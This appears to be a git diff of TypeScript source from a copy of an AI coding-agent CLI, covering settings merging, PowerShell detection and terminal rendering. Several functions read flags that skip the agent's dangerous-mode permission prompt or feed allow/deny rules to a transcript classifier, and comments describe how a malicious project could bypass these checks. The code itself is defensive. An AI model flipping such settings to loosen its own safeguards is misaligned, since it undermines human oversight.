+          // Add unique errors (deduplication)
+          for (const error of errors) {
+            const errorKey = `${error.file}:${error.path}:${error.message}`
+            if (!seenErrors.has(errorKey)) {
+              seenErrors.add(errorKey)
+              allErrors.push(error)
+            }
+          }
+
+          if (settings) {
+            mergedSettings = mergeWith(
+              mergedSettings,
+              settings,
+              settingsMergeCustomizer,
+            )
+          }
+        }
+      }
+
+      // For flagSettings, also merge any inline settings set via the SDK
+      if (source === 'flagSettings') {
+        const inlineSettings = getFlagSettingsInline()
+        if (inlineSettings) {
+          const parsed = SettingsSchema().safeParse(inlineSettings)
+          if (parsed.success) {
+            mergedSettings = mergeWith(
+              mergedSettings,
+              parsed.data,
+              settingsMergeCustomizer,
+            )
+          }
+        }
+      }
+    }
+
+    logForDiagnosticsNoPII('info', 'settings_load_completed', {
+      duration_ms: Date.now() - startTime,
+      source_count: seenFiles.size,
+      error_count: allErrors.length,
+    })
+
+    return { settings: mergedSettings, errors: allErrors }
+  } finally {
+    isLoadingSettings = false
+  }
+}
+
+/**
+ * Get merged settings from all sources in priority order
+ * Settings are merged from lowest to highest priority:
+ * userSettings -> projectSettings -> localSettings -> policySettings
+ *
+ * This function returns a snapshot of settings at the time of call.
+ * For React components, prefer using useSettings() hook for reactive updates
+ * when settings change on disk.
+ *
+ * Uses session-level caching to avoid repeated file I/O.
+ * Cache is invalidated when settings files change via resetSettingsCache().
+ *
+ * @returns Merged settings from all available sources (always returns at least empty object)
+ */
+export function getInitialSettings(): SettingsJson {
+  const { settings } = getSettingsWithErrors()
+  return settings || {}
+}
+
+/**
+ * @deprecated Use getInitialSettings() instead. This alias exists for backwards compatibility.
+ */
+export const getSettings_DEPRECATED = getInitialSettings
+
+export type SettingsWithSources = {
+  effective: SettingsJson
+  /** Ordered low-to-high priority — later entries override earlier ones. */
+  sources: Array<{ source: SettingSource; settings: SettingsJson }>
+}
+
+/**
+ * Get the effective merged settings alongside the raw per-source settings,
+ * in merge-priority order. Only includes sources that are enabled and have
+ * non-empty content.
+ *
+ * Always reads fresh from disk — resets the session cache so that `effective`
+ * and `sources` are consistent even if the change detector hasn't fired yet.
+ */
+export function getSettingsWithSources(): SettingsWithSources {
+  // Reset both caches so getSettingsForSource (per-source cache) and
+  // getInitialSettings (session cache) agree on the current disk state.
+  resetSettingsCache()
+  const sources: SettingsWithSources['sources'] = []
+  for (const source of getEnabledSettingSources()) {
+    const settings = getSettingsForSource(source)
+    if (settings && Object.keys(settings).length > 0) {
+      sources.push({ source, settings })
+    }
+  }
+  return { effective: getInitialSettings(), sources }
+}
+
+/**
+ * Get merged settings and validation errors from all sources
+ * This function now uses session-level caching to avoid repeated file I/O.
+ * Settings changes require Claude Code restart, so cache is valid for entire session.
+ * @returns Merged settings and all validation errors encountered
+ */
+export function getSettingsWithErrors(): SettingsWithErrors {
+  // Use cached result if available
+  const cached = getSessionSettingsCache()
+  if (cached !== null) {
+    return cached
+  }
+
+  // Load from disk and cache the result
+  const result = loadSettingsFromDisk()
+  profileCheckpoint('loadSettingsFromDisk_end')
+  setSessionSettingsCache(result)
+  return result
+}
+
+/**
+ * Check if any raw settings file contains a specific key, regardless of validation.
+ * This is useful for detecting user intent even when settings validation fails.
+ * For example, if a user set cleanupPeriodDays but has validation errors elsewhere,
+ * we can detect they explicitly configured cleanup and skip cleanup rather than
+ * falling back to defaults.
+ */
+/**
+ * Returns true if any trusted settings source has accepted the bypass
+ * permissions mode dialog. projectSettings is intentionally excluded —
+ * a malicious project could otherwise auto-bypass the dialog (RCE risk).
+ */
+export function hasSkipDangerousModePermissionPrompt(): boolean {
+  return !!(
+    getSettingsForSource('userSettings')?.skipDangerousModePermissionPrompt ||
+    getSettingsForSource('localSettings')?.skipDangerousModePermissionPrompt ||
+    getSettingsForSource('flagSettings')?.skipDangerousModePermissionPrompt ||
+    getSettingsForSource('policySettings')?.skipDangerousModePermissionPrompt
+  )
+}
+
+/**
+ * Returns true if any trusted settings source has accepted the auto
+ * mode opt-in dialog. projectSettings is intentionally excluded —
+ * a malicious project could otherwise auto-bypass the dialog (RCE risk).
+ */
+export function hasAutoModeOptIn(): boolean {
+  if (feature('TRANSCRIPT_CLASSIFIER')) {
+    const user = getSettingsForSource('userSettings')?.skipAutoPermissionPrompt
+    const local =
+      getSettingsForSource('localSettings')?.skipAutoPermissionPrompt
+    const flag = getSettingsForSource('flagSettings')?.skipAutoPermissionPrompt
+    const policy =
+      getSettingsForSource('policySettings')?.skipAutoPermissionPrompt
+    const result = !!(user || local || flag || policy)
+    logForDebugging(
+      `[auto-mode] hasAutoModeOptIn=${result} skipAutoPermissionPrompt: user=${user} local=${local} flag=${flag} policy=${policy}`,
+    )
+    return result
+  }
+  return false
+}
+
+/**
+ * Returns whether plan mode should use auto mode semantics. Default true
+ * (opt-out). Returns false if any trusted source explicitly sets false.
+ * projectSettings is excluded so a malicious project can't control this.
+ */
+export function getUseAutoModeDuringPlan(): boolean {
+  if (feature('TRANSCRIPT_CLASSIFIER')) {
+    return (
+      getSettingsForSource('policySettings')?.useAutoModeDuringPlan !== false &&
+      getSettingsForSource('flagSettings')?.useAutoModeDuringPlan !== false &&
+      getSettingsForSource('userSettings')?.useAutoModeDuringPlan !== false &&
+      getSettingsForSource('localSettings')?.useAutoModeDuringPlan !== false
+    )
+  }
+  return true
+}
+
+/**
+ * Returns the merged autoMode config from trusted settings sources.
+ * Only available when TRANSCRIPT_CLASSIFIER is active; returns undefined otherwise.
+ * projectSettings is intentionally excluded — a malicious project could
+ * otherwise inject classifier allow/deny rules (RCE risk).
+ */
+export function getAutoModeConfig():
+  | { allow?: string[]; soft_deny?: string[]; environment?: string[] }
+  | undefined {
+  if (feature('TRANSCRIPT_CLASSIFIER')) {
+    const schema = z.object({
+      allow: z.array(z.string()).optional(),
+      soft_deny: z.array(z.string()).optional(),
+      deny: z.array(z.string()).optional(),
+      environment: z.array(z.string()).optional(),
+    })
+
+    const allow: string[] = []
+    const soft_deny: string[] = []
+    const environment: string[] = []
+
+    for (const source of [
+      'userSettings',
+      'localSettings',
+      'flagSettings',
+      'policySettings',
+    ] as const) {
+      const settings = getSettingsForSource(source)
+      if (!settings) continue
+      const result = schema.safeParse(
+        (settings as Record<string, unknown>).autoMode,
+      )
+      if (result.success) {
+        if (result.data.allow) allow.push(...result.data.allow)
+        if (result.data.soft_deny) soft_deny.push(...result.data.soft_deny)
+        if (process.env.USER_TYPE === 'ant') {
+          if (result.data.deny) soft_deny.push(...result.data.deny)
+        }
+        if (result.data.environment)
+          environment.push(...result.data.environment)
+      }
+    }
+
+    if (allow.length > 0 || soft_deny.length > 0 || environment.length > 0) {
+      return {
+        ...(allow.length > 0 && { allow }),
+        ...(soft_deny.length > 0 && { soft_deny }),
+        ...(environment.length > 0 && { environment }),
+      }
+    }
+  }
+  return undefined
+}
+
+export function rawSettingsContainsKey(key: string): boolean {
+  for (const source of getEnabledSettingSources()) {
+    // Skip policySettings - we only care about user-configured settings
+    if (source === 'policySettings') {
+      continue
+    }
+
+    const filePath = getSettingsFilePathForSource(source)
+    if (!filePath) {
+      continue
+    }
+
+    try {
+      const { resolvedPath } = safeResolvePath(getFsImplementation(), filePath)
+      const content = readFileSync(resolvedPath)
+      if (!content.trim()) {
+        continue
+      }
+
+      const rawData = safeParseJSON(content, false)
+      if (rawData && typeof rawData === 'object' && key in rawData) {
+        return true
+      }
+    } catch (error) {
+      // File not found is expected - not all settings files exist
+      // Other errors (permissions, I/O) should be tracked
+      handleFileSystemError(error, filePath)
+    }
+  }
+
+  return false
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/shell/powershellDetection.ts b/_all-in-one-upload/cc-haha/src/utils/shell/powershellDetection.ts
new file mode 100644
index 0000000..acc3fb7
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/shell/powershellDetection.ts
@@ -0,0 +1,107 @@
+import { realpath, stat } from 'fs/promises'
+import { getPlatform } from '../platform.js'
+import { which } from '../which.js'
+
+async function probePath(p: string): Promise<string | null> {
+  try {
+    return (await stat(p)).isFile() ? p : null
+  } catch {
+    return null
+  }
+}
+
+/**
+ * Attempts to find PowerShell on the system via PATH.
+ * Prefers pwsh (PowerShell Core 7+), falls back to powershell (5.1).
+ *
+ * On Linux, if PATH resolves to a snap launcher (/snap/…) — directly or
+ * via a symlink chain like /usr/bin/pwsh → /snap/bin/pwsh — probe known
+ * apt/rpm install locations instead: the snap launcher can hang in
+ * subprocesses while snapd initializes confinement, but the underlying
+ * binary at /opt/microsoft/powershell/7/pwsh is reliable. On
+ * Windows/macOS, PATH is sufficient.
+ */
+export async function findPowerShell(): Promise<string | null> {
+  const pwshPath = await which('pwsh')
+  if (pwshPath) {
+    // Snap launcher hangs in subprocesses. Prefer the direct binary.
+    // Check both the resolved PATH entry and its symlink target: on
+    // some distros /usr/bin/pwsh is a symlink to /snap/bin/pwsh, which
+    // would bypass a naive startsWith('/snap/') on the which() result.
+    if (getPlatform() === 'linux') {
+      const resolved = await realpath(pwshPath).catch(() => pwshPath)
+      if (pwshPath.startsWith('/snap/') || resolved.startsWith('/snap/')) {
+        const direct =
+          (await probePath('/opt/microsoft/powershell/7/pwsh')) ??
+          (await probePath('/usr/bin/pwsh'))
+        if (direct) {
+          const directResolved = await realpath(direct).catch(() => direct)
+          if (
+            !direct.startsWith('/snap/') &&
+            !directResolved.startsWith('/snap/')
+          ) {
+            return direct
+          }
+        }
+      }
+    }
+    return pwshPath
+  }
+
+  const powershellPath = await which('powershell')
+  if (powershellPath) {
+    return powershellPath
+  }
+
+  return null
+}
+
+let cachedPowerShellPath: Promise<string | null> | null = null
+
+/**
+ * Gets the cached PowerShell path. Returns a memoized promise that
+ * resolves to the PowerShell executable path or null.
+ */
+export function getCachedPowerShellPath(): Promise<string | null> {
+  if (!cachedPowerShellPath) {
+    cachedPowerShellPath = findPowerShell()
+  }
+  return cachedPowerShellPath
+}
+
+export type PowerShellEdition = 'core' | 'desktop'
+
+/**
+ * Infers the PowerShell edition from the binary name without spawning.
+ * - `pwsh` / `pwsh.exe` → 'core' (PowerShell 7+: supports `&&`, `||`, `?:`, `??`)
+ * - `powershell` / `powershell.exe` → 'desktop' (Windows PowerShell 5.1:
+ *   no pipeline chain operators, stderr-sets-$? bug, UTF-16 default encoding)
+ *
+ * PowerShell 6 (also `pwsh`, no `&&`) has been EOL since 2020 and is not
+ * a realistic install target, so 'core' safely implies 7+ semantics.
+ *
+ * Used by the tool prompt to give version-appropriate syntax guidance so
+ * the model doesn't emit `cmd1 && cmd2` on 5.1 (parser error) or avoid
+ * `&&` on 7+ where it's the correct short-circuiting operator.
+ */
+export async function getPowerShellEdition(): Promise<PowerShellEdition | null> {
+  const p = await getCachedPowerShellPath()
+  if (!p) return null
+  // basename without extension, case-insensitive. Covers:
+  //   C:\Program Files\PowerShell\7\pwsh.exe
+  //   /opt/microsoft/powershell/7/pwsh
+  //   C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
+  const base = p
+    .split(/[/\\]/)
+    .pop()!
+    .toLowerCase()
+    .replace(/\.exe$/, '')
+  return base === 'pwsh' ? 'core' : 'desktop'
+}
+
+/**
+ * Resets the cached PowerShell path. Only for testing.
+ */
+export function resetPowerShellCache(): void {
+  cachedPowerShellPath = null
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/sinks.ts b/_all-in-one-upload/cc-haha/src/utils/sinks.ts
new file mode 100644
index 0000000..386ce6a
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/sinks.ts
@@ -0,0 +1,16 @@
+import { initializeAnalyticsSink } from '../services/analytics/sink.js'
+import { initializeErrorLogSink } from './errorLogSink.js'
+
+/**
+ * Attach error log and analytics sinks, draining any events queued before
+ * attachment. Both inits are idempotent. Called from setup() for the default
+ * command; other entrypoints (subcommands, daemon, bridge) call this directly
+ * since they bypass setup().
+ *
+ * Leaf module — kept out of setup.ts to avoid the setup → commands → bridge
+ * → setup import cycle.
+ */
+export function initSinks(): void {
+  initializeErrorLogSink()
+  initializeAnalyticsSink()
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/staticRender.tsx b/_all-in-one-upload/cc-haha/src/utils/staticRender.tsx
new file mode 100644
index 0000000..6a6917b
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/staticRender.tsx
@@ -0,0 +1,116 @@
+import { c as _c } from "react/compiler-runtime";
+import * as React from 'react';
+import { useLayoutEffect } from 'react';
+import { PassThrough } from 'stream';
+import stripAnsi from 'strip-ansi';
+import { render, useApp } from '../ink.js';
+
+// This is a workaround for the fact that Ink doesn't support multiple <Static>
+// components in the same render tree. Instead of using a <Static> we just render
+// the component to a string and then print it to stdout
+
+/**
+ * Wrapper component that exits after rendering.
+ * Uses useLayoutEffect to ensure we wait for React's commit phase to complete
+ * before exiting. This is more robust than process.nextTick() for React 19's
+ * async render cycle.
+ */
+function RenderOnceAndExit(t0) {
+  const $ = _c(5);
+  const {
+    children
+  } = t0;
+  const {
+    exit
+  } = useApp();
+  let t1;
+  let t2;
+  if ($[0] !== exit) {
+    t1 = () => {
+      const timer = setTimeout(exit, 0);
+      return () => clearTimeout(timer);
+    };
+    t2 = [exit];
+    $[0] = exit;
+    $[1] = t1;
+    $[2] = t2;
+  } else {
+    t1 = $[1];
+    t2 = $[2];
+  }
+  useLayoutEffect(t1, t2);
+  let t3;
+  if ($[3] !== children) {
+    t3 = <>{children}</>;
+    $[3] = children;
+    $[4] = t3;
+  } else {
+    t3 = $[4];
+  }
+  return t3;
+}
+
+// DEC synchronized update markers used by terminals
+const SYNC_START = '\x1B[?2026h';
+const SYNC_END = '\x1B[?2026l';
+
+/**
+ * Extracts content from the first complete frame in Ink's output.
+ * Ink with non-TTY stdout outputs multiple frames, each wrapped in DEC synchronized
+ * update sequences ([?2026h ... [?2026l). We only want the first frame's content.
+ */
+function extractFirstFrame(output: string): string {
+  const startIndex = output.indexOf(SYNC_START);
+  if (startIndex === -1) return output;
+  const contentStart = startIndex + SYNC_START.length;
+  const endIndex = output.indexOf(SYNC_END, contentStart);
+  if (endIndex === -1) return output;
+  return output.slice(contentStart, endIndex);
+}
+
+/**
+ * Renders a React node to a string with ANSI escape codes (for terminal output).
+ */
+export function renderToAnsiString(node: React.ReactNode, columns?: number): Promise<string> {
+  return new Promise(async resolve => {
+    let output = '';
+
+    // Capture all writes. Set .columns so Ink (ink.tsx:~165) picks up a
+    // chosen width instead of PassThrough's undefined → 80 fallback —
+    // useful for rendering at terminal width for file dumps that should
+    // match what the user sees on screen.
+    const stream = new PassThrough();
+    if (columns !== undefined) {
+      ;
+      (stream as unknown as {
+        columns: number;
+      }).columns = columns;
+    }
+    stream.on('data', chunk => {
+      output += chunk.toString();
+    });
+
+    // Render the component wrapped in RenderOnceAndExit
+    // Non-TTY stdout (PassThrough) gives full-frame output instead of diffs
+    const instance = await render(<RenderOnceAndExit>{node}</RenderOnceAndExit>, {
+      stdout: stream as unknown as NodeJS.WriteStream,
+      patchConsole: false
+    });
+
+    // Wait for the component to exit naturally
+    await instance.waitUntilExit();
+
+    // Extract only the first frame's content to avoid duplication
+    // (Ink outputs multiple frames in non-TTY mode)
+    await resolve(extractFirstFrame(output));
+  });
+}
+
+/**
+ * Renders a React node to a plain text string (ANSI codes stripped).
+ */
+export async function renderToString(node: React.ReactNode, columns?: number): Promise<string> {
+  const output = await renderToAnsiString(node, columns);
+  return stripAnsi(output);
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsInVzZUxheW91dEVmZmVjdCIsIlBhc3NUaHJvdWdoIiwic3RyaXBBbnNpIiwicmVuZGVyIiwidXNlQXBwIiwiUmVuZGVyT25jZUFuZEV4aXQiLCJ0MCIsIiQiLCJfYyIsImNoaWxkcmVuIiwiZXhpdCIsInQxIiwidDIiLCJ0aW1lciIsInNldFRpbWVvdXQiLCJjbGVhclRpbWVvdXQiLCJ0MyIsIlNZTkNfU1RBUlQiLCJTWU5DX0VORCIsImV4dHJhY3RGaXJzdEZyYW1lIiwib3V0cHV0Iiwic3RhcnRJbmRleCIsImluZGV4T2YiLCJjb250ZW50U3RhcnQiLCJsZW5ndGgiLCJlbmRJbmRleCIsInNsaWNlIiwicmVuZGVyVG9BbnNpU3RyaW5nIiwibm9kZSIsIlJlYWN0Tm9kZSIsImNvbHVtbnMiLCJQcm9taXNlIiwicmVzb2x2ZSIsInN0cmVhbSIsInVuZGVmaW5lZCIsIm9uIiwiY2h1bmsiLCJ0b1N0cmluZyIsImluc3RhbmNlIiwic3Rkb3V0IiwiTm9kZUpTIiwiV3JpdGVTdHJlYW0iLCJwYXRjaENvbnNvbGUiLCJ3YWl0VW50aWxFeGl0IiwicmVuZGVyVG9TdHJpbmciXSwic291cmNlcyI6WyJzdGF0aWNSZW5kZXIudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCAqIGFzIFJlYWN0IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHsgdXNlTGF5b3V0RWZmZWN0IH0gZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBQYXNzVGhyb3VnaCB9IGZyb20gJ3N0cmVhbSdcbmltcG9ydCBzdHJpcEFuc2kgZnJvbSAnc3RyaXAtYW5zaSdcbmltcG9ydCB7IHJlbmRlciwgdXNlQXBwIH0gZnJvbSAnLi4vaW5rLmpzJ1xuXG4vLyBUaGlzIGlzIGEgd29ya2Fyb3VuZCBmb3IgdGhlIGZhY3QgdGhhdCBJbmsgZG9lc24ndCBzdXBwb3J0IG11bHRpcGxlIDxTdGF0aWM+XG4vLyBjb21wb25lbnRzIGluIHRoZSBzYW1lIHJlbmRlciB0cmVlLiBJbnN0ZWFkIG9mIHVzaW5nIGEgPFN0YXRpYz4gd2UganVzdCByZW5kZXJcbi8vIHRoZSBjb21wb25lbnQgdG8gYSBzdHJpbmcgYW5kIHRoZW4gcHJpbnQgaXQgdG8gc3Rkb3V0XG5cbi8qKlxuICogV3JhcHBlciBjb21wb25lbnQgdGhhdCBleGl0cyBhZnRlciByZW5kZXJpbmcuXG4gKiBVc2VzIHVzZUxheW91dEVmZmVjdCB0byBlbnN1cmUgd2Ugd2FpdCBmb3IgUmVhY3QncyBjb21taXQgcGhhc2UgdG8gY29tcGxldGVcbiAqIGJlZm9yZSBleGl0aW5nLiBUaGlzIGlzIG1vcmUgcm9idXN0IHRoYW4gcHJvY2Vzcy5uZXh0VGljaygpIGZvciBSZWFjdCAxOSdzXG4gKiBhc3luYyByZW5kZXIgY3ljbGUuXG4gKi9cbmZ1bmN0aW9uIFJlbmRlck9uY2VBbmRFeGl0KHtcbiAgY2hpbGRyZW4sXG59OiB7XG4gIGNoaWxkcmVuOiBSZWFjdC5SZWFjdE5vZGVcbn0pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCB7IGV4aXQgfSA9IHVzZUFwcCgpXG5cbiAgLy8gdXNlTGF5b3V0RWZmZWN0IHJ1bnMgc3luY2hyb25vdXNseSBhZnRlciBSZWFjdCBjb21taXRzIERPTSBtdXRhdGlvbnMuXG4gIC8vIHNldFRpbWVvdXQoMCkgZGVmZXJzIGV4aXQgdG8gYWxsb3cgSW5rIHRvIGZsdXNoIG91dHB1dCB0byB0aGUgc3RyZWFtLlxuICB1c2VMYXlvdXRFZmZlY3QoKCkgPT4ge1xuICAgIGNvbnN0IHRpbWVyID0gc2V0VGltZW91dChleGl0LCAwKVxuICAgIHJldHVybiAoKSA9PiBjbGVhclRpbWVvdXQodGltZXIpXG4gIH0sIFtleGl0XSlcblxuICByZXR1cm4gPD57Y2hpbGRyZW59PC8+XG59XG5cbi8vIERFQyBzeW5jaHJvbml6ZWQgdXBkYXRlIG1hcmtlcnMgdXNlZCBieSB0ZXJtaW5hbHNcbmNvbnN0IFNZTkNfU1RBUlQgPSAnXFx4MUJbPzIwMjZoJ1xuY29uc3QgU1lOQ19FTkQgPSAnXFx4MUJbPzIwMjZsJ1xuXG4vKipcbiAqIEV4dHJhY3RzIGNvbnRlbnQgZnJvbSB0aGUgZmlyc3QgY29tcGxldGUgZnJhbWUgaW4gSW5rJ3Mgb3V0cHV0LlxuICogSW5rIHdpdGggbm9uLVRUWSBzdGRvdXQgb3V0cHV0cyBtdWx0aXBsZSBmcmFtZXMsIGVhY2ggd3JhcHBlZCBpbiBERUMgc3luY2hyb25pemVkXG4gKiB1cGRhdGUgc2VxdWVuY2VzIChbPzIwMjZoIC4uLiBbPzIwMjZsKS4gV2Ugb25seSB3YW50IHRoZSBmaXJzdCBmcmFtZSdzIGNvbnRlbnQuXG4gKi9cbmZ1bmN0aW9uIGV4dHJhY3RGaXJzdEZyYW1lKG91dHB1dDogc3RyaW5nKTogc3RyaW5nIHtcbiAgY29uc3Qgc3RhcnRJbmRleCA9IG91dHB1dC5pbmRleE9mKFNZTkNfU1RBUlQpXG4gIGlmIChzdGFydEluZGV4ID09PSAtMSkgcmV0dXJuIG91dHB1dFxuXG4gIGNvbnN0IGNvbnRlbnRTdGFydCA9IHN0YXJ0SW5kZXggKyBTWU5DX1NUQVJULmxlbmd0aFxuICBjb25zdCBlbmRJbmRleCA9IG91dHB1dC5pbmRleE9mKFNZTkNfRU5ELCBjb250ZW50U3RhcnQpXG4gIGlmIChlbmRJbmRleCA9PT0gLTEpIHJldHVybiBvdXRwdXRcblxuICByZXR1cm4gb3V0cHV0LnNsaWNlKGNvbnRlbnRTdGFydCwgZW5kSW5kZXgpXG59XG5cbi8qKlxuICogUmVuZGVycyBhIFJlYWN0IG5vZGUgdG8gYSBzdHJpbmcgd2l0aCBBTlNJIGVzY2FwZSBjb2RlcyAoZm9yIHRlcm1pbmFsIG91dHB1dCkuXG4gKi9cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb0Fuc2lTdHJpbmcoXG4gIG5vZGU6IFJlYWN0LlJlYWN0Tm9kZSxcbiAgY29sdW1ucz86IG51bWJlcixcbik6IFByb21pc2U8c3RyaW5nPiB7XG4gIHJldHVybiBuZXcgUHJvbWlzZShhc3luYyByZXNvbHZlID0+IHtcbiAgICBsZXQgb3V0cHV0ID0gJydcblxuICAgIC8vIENhcHR1cmUgYWxsIHdyaXRlcy4gU2V0IC5jb2x1bW5zIHNvIEluayAoaW5rLnRzeDp+MTY1KSBwaWNrcyB1cCBhXG4gICAgLy8gY2hvc2VuIHdpZHRoIGluc3RlYWQgb2YgUGFzc1Rocm91Z2gncyB1bmRlZmluZWQg4oaSIDgwIGZhbGxiYWNrIOKAlFxuICAgIC8vIHVzZWZ1bCBmb3IgcmVuZGVyaW5nIGF0IHRlcm1pbmFsIHdpZHRoIGZvciBmaWxlIGR1bXBzIHRoYXQgc2hvdWxkXG4gICAgLy8gbWF0Y2ggd2hhdCB0aGUgdXNlciBzZWVzIG9uIHNjcmVlbi5cbiAgICBjb25zdCBzdHJlYW0gPSBuZXcgUGFzc1Rocm91Z2goKVxuICAgIGlmIChjb2x1bW5zICE9PSB1bmRlZmluZWQpIHtcbiAgICAgIDsoc3RyZWFtIGFzIHVua25vd24gYXMgeyBjb2x1bW5zOiBudW1iZXIgfSkuY29sdW1ucyA9IGNvbHVtbnNcbiAgICB9XG4gICAgc3RyZWFtLm9uKCdkYXRhJywgY2h1bmsgPT4ge1xuICAgICAgb3V0cHV0ICs9IGNodW5rLnRvU3RyaW5nKClcbiAgICB9KVxuXG4gICAgLy8gUmVuZGVyIHRoZSBjb21wb25lbnQgd3JhcHBlZCBpbiBSZW5kZXJPbmNlQW5kRXhpdFxuICAgIC8vIE5vbi1UVFkgc3Rkb3V0IChQYXNzVGhyb3VnaCkgZ2l2ZXMgZnVsbC1mcmFtZSBvdXRwdXQgaW5zdGVhZCBvZiBkaWZmc1xuICAgIGNvbnN0IGluc3RhbmNlID0gYXdhaXQgcmVuZGVyKFxuICAgICAgPFJlbmRlck9uY2VBbmRFeGl0Pntub2RlfTwvUmVuZGVyT25jZUFuZEV4aXQ+LFxuICAgICAge1xuICAgICAgICBzdGRvdXQ6IHN0cmVhbSBhcyB1bmtub3duIGFzIE5vZGVKUy5Xcml0ZVN0cmVhbSxcbiAgICAgICAgcGF0Y2hDb25zb2xlOiBmYWxzZSxcbiAgICAgIH0sXG4gICAgKVxuXG4gICAgLy8gV2FpdCBmb3IgdGhlIGNvbXBvbmVudCB0byBleGl0IG5hdHVyYWxseVxuICAgIGF3YWl0IGluc3RhbmNlLndhaXRVbnRpbEV4aXQoKVxuXG4gICAgLy8gRXh0cmFjdCBvbmx5IHRoZSBmaXJzdCBmcmFtZSdzIGNvbnRlbnQgdG8gYXZvaWQgZHVwbGljYXRpb25cbiAgICAvLyAoSW5rIG91dHB1dHMgbXVsdGlwbGUgZnJhbWVzIGluIG5vbi1UVFkgbW9kZSlcbiAgICBhd2FpdCByZXNvbHZlKGV4dHJhY3RGaXJzdEZyYW1lKG91dHB1dCkpXG4gIH0pXG59XG5cbi8qKlxuICogUmVuZGVycyBhIFJlYWN0IG5vZGUgdG8gYSBwbGFpbiB0ZXh0IHN0cmluZyAoQU5TSSBjb2RlcyBzdHJpcHBlZCkuXG4gKi9cbmV4cG9ydCBhc3luYyBmdW5jdGlvbiByZW5kZXJUb1N0cmluZyhcbiAgbm9kZTogUmVhY3QuUmVhY3ROb2RlLFxuICBjb2x1bW5zPzogbnVtYmVyLFxuKTogUHJvbWlzZTxzdHJpbmc+IHtcbiAgY29uc3Qgb3V0cHV0ID0gYXdhaXQgcmVuZGVyVG9BbnNpU3RyaW5nKG5vZGUsIGNvbHVtbnMpXG4gIHJldHVybiBzdHJpcEFuc2kob3V0cHV0KVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBTyxLQUFLQSxLQUFLLE1BQU0sT0FBTztBQUM5QixTQUFTQyxlQUFlLFFBQVEsT0FBTztBQUN2QyxTQUFTQyxXQUFXLFFBQVEsUUFBUTtBQUNwQyxPQUFPQyxTQUFTLE1BQU0sWUFBWTtBQUNsQyxTQUFTQyxNQUFNLEVBQUVDLE1BQU0sUUFBUSxXQUFXOztBQUUxQztBQUNBO0FBQ0E7O0FBRUE7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsU0FBQUMsa0JBQUFDLEVBQUE7RUFBQSxNQUFBQyxDQUFBLEdBQUFDLEVBQUE7RUFBMkI7SUFBQUM7RUFBQSxJQUFBSCxFQUkxQjtFQUNDO0lBQUFJO0VBQUEsSUFBaUJOLE1BQU0sQ0FBQyxDQUFDO0VBQUEsSUFBQU8sRUFBQTtFQUFBLElBQUFDLEVBQUE7RUFBQSxJQUFBTCxDQUFBLFFBQUFHLElBQUE7SUFJVEMsRUFBQSxHQUFBQSxDQUFBO01BQ2QsTUFBQUUsS0FBQSxHQUFjQyxVQUFVLENBQUNKLElBQUksRUFBRSxDQUFDLENBQUM7TUFBQSxPQUMxQixNQUFNSyxZQUFZLENBQUNGLEtBQUssQ0FBQztJQUFBLENBQ2pDO0lBQUVELEVBQUEsSUFBQ0YsSUFBSSxDQUFDO0lBQUFILENBQUEsTUFBQUcsSUFBQTtJQUFBSCxDQUFBLE1BQUFJLEVBQUE7SUFBQUosQ0FBQSxNQUFBSyxFQUFBO0VBQUE7SUFBQUQsRUFBQSxHQUFBSixDQUFBO0lBQUFLLEVBQUEsR0FBQUwsQ0FBQTtFQUFBO0VBSFRQLGVBQWUsQ0FBQ1csRUFHZixFQUFFQyxFQUFNLENBQUM7RUFBQSxJQUFBSSxFQUFBO0VBQUEsSUFBQVQsQ0FBQSxRQUFBRSxRQUFBO0lBRUhPLEVBQUEsS0FBR1AsU0FBTyxDQUFDLEdBQUk7SUFBQUYsQ0FBQSxNQUFBRSxRQUFBO0lBQUFGLENBQUEsTUFBQVMsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQVQsQ0FBQTtFQUFBO0VBQUEsT0FBZlMsRUFBZTtBQUFBOztBQUd4QjtBQUNBLE1BQU1DLFVBQVUsR0FBRyxhQUFhO0FBQ2hDLE1BQU1DLFFBQVEsR0FBRyxhQUFhOztBQUU5QjtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsU0FBU0MsaUJBQWlCQSxDQUFDQyxNQUFNLEVBQUUsTUFBTSxDQUFDLEVBQUUsTUFBTSxDQUFDO0VBQ2pELE1BQU1DLFVBQVUsR0FBR0QsTUFBTSxDQUFDRSxPQUFPLENBQUNMLFVBQVUsQ0FBQztFQUM3QyxJQUFJSSxVQUFVLEtBQUssQ0FBQyxDQUFDLEVBQUUsT0FBT0QsTUFBTTtFQUVwQyxNQUFNRyxZQUFZLEdBQUdGLFVBQVUsR0FBR0osVUFBVSxDQUFDTyxNQUFNO0VBQ25ELE1BQU1DLFFBQVEsR0FBR0wsTUFBTSxDQUFDRSxPQUFPLENBQUNKLFFBQVEsRUFBRUssWUFBWSxDQUFDO0VBQ3ZELElBQUlFLFFBQVEsS0FBSyxDQUFDLENBQUMsRUFBRSxPQUFPTCxNQUFNO0VBRWxDLE9BQU9BLE1BQU0sQ0FBQ00sS0FBSyxDQUFDSCxZQUFZLEVBQUVFLFFBQVEsQ0FBQztBQUM3Qzs7QUFFQTtBQUNBO0FBQ0E7QUFDQSxPQUFPLFNBQVNFLGtCQUFrQkEsQ0FDaENDLElBQUksRUFBRTdCLEtBQUssQ0FBQzhCLFNBQVMsRUFDckJDLE9BQWdCLENBQVIsRUFBRSxNQUFNLENBQ2pCLEVBQUVDLE9BQU8sQ0FBQyxNQUFNLENBQUMsQ0FBQztFQUNqQixPQUFPLElBQUlBLE9BQU8sQ0FBQyxNQUFNQyxPQUFPLElBQUk7SUFDbEMsSUFBSVosTUFBTSxHQUFHLEVBQUU7O0lBRW